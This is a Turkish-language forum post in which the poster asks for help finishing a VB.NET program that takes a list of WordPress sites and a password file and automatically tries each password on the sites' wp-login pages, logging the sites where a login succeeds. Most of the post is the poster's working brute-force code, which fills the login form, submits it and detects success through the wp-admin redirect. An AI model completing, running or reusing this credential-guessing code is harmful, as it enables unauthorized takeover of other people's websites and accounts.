- 25 Tem 2013
- 88
- 0
ben Yazılım yapıyorum wordpress Kullanıcı paneli Ile Ilgili yazılımda Bazi eksikliklerim var bunlar dan birincisi 3 adet liste Olarak yapmak istiyorum mesela ListBox1 sitesi listesi liste kutusu 2 de imkb sifre listesi olucak sekılde yapmak istiyorum otomatik o webbrowser siteler ile sifreleri denemesini istiyorum buldugu siteyi liste 3 göstermesini Için istiyorum bunu nasil yapabilirim kodların birkacını yazdım ama bu sekılde Kaldı.
Kod:
Public Class Form1
Dim first_one As Boolean = True
Sub Face_Test()
WebBrowser1.Navigate("http://example.com/wp-login.php")
ListBox1.SelectedIndex = 0
End Sub
Sub Do_Next()
If ListBox1.SelectedIndex = (ListBox1.Items.Count - 1) Then
'you've reach the End of the passwords list
MsgBox("Not Found :( !!")
Label1.Text = "Not found :( !!"
first_one = True 'Reset first_one to the defult
Exit Sub 'Stop the sub From going on to the next codes
End If
ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1 'Select next item using it's index
Click_Login()
End Sub
Sub Click_Login()
WebBrowser1.********.GetElementById("user_login").SetAttribute("value", TextBox1.Text)
WebBrowser1.********.GetElementById("user_pass").SetAttribute("value", ListBox1.SelectedItem)
WebBrowser1.********.Forms(0).InvokeMember("submit")
For Each login As HtmlElement In WebBrowser1.********.GetElementsByTagName("input")
If login.GetAttribute("value") = "Log In" Then
login.InvokeMember("click")
End If
Next
End Sub
Private Sub WebBrowser1_********Completed(sender As Object, e As Windows.Forms.WebBrowser********CompletedEventArgs) Handles WebBrowser1.********Completed
If WebBrowser1.Url.AbsolutePath.ToLower.Contains("http://example.com/wp-admin/") Then
'it's check point which means login succ
'do what you want
MsgBox("login Succ !!")
Label1.Text = ListBox1.SelectedItem
first_one = True 'Reset first_one to the defult
Exit Sub 'Stop Sub From here so it's Done
End If
For Each textarea As HtmlElement In WebBrowser1.********.GetElementsByTagName("textarea")
'Scan all TextAreas.
'if the username and the password is correct then it will login , but textarea with the name belowe never shows up before login
If textarea.Name = "xhpc_message_text" Then
MsgBox("login Succ !!")
Label1.Text = ListBox1.SelectedItem
first_one = True 'Reset first_one to the defult
Exit Sub 'Stop Sub From here so it's Done
End If
Next
If first_one = True Then 'check to see if it's the first password
Click_Login() 'fill login form and click login button
first_one = False
Else
Do_Next() 'Call the sub "Do_Next" to check the next Password
End If
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim oFile As New OpenFileDialog
oFile.Filter = "(Text File).txt|*.txt"
oFile.Title = "Select the Password File...."
If oFile.ShowDialog = DialogResult.OK Then 'if the file is ok then load passwords , if it's not do nothing
ListBox1.Items.AddRange(IO.File.ReadAllLines(oFile.FileName)) 'load passwords into the listbox1
End If
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Face_Test()
End Sub
End Class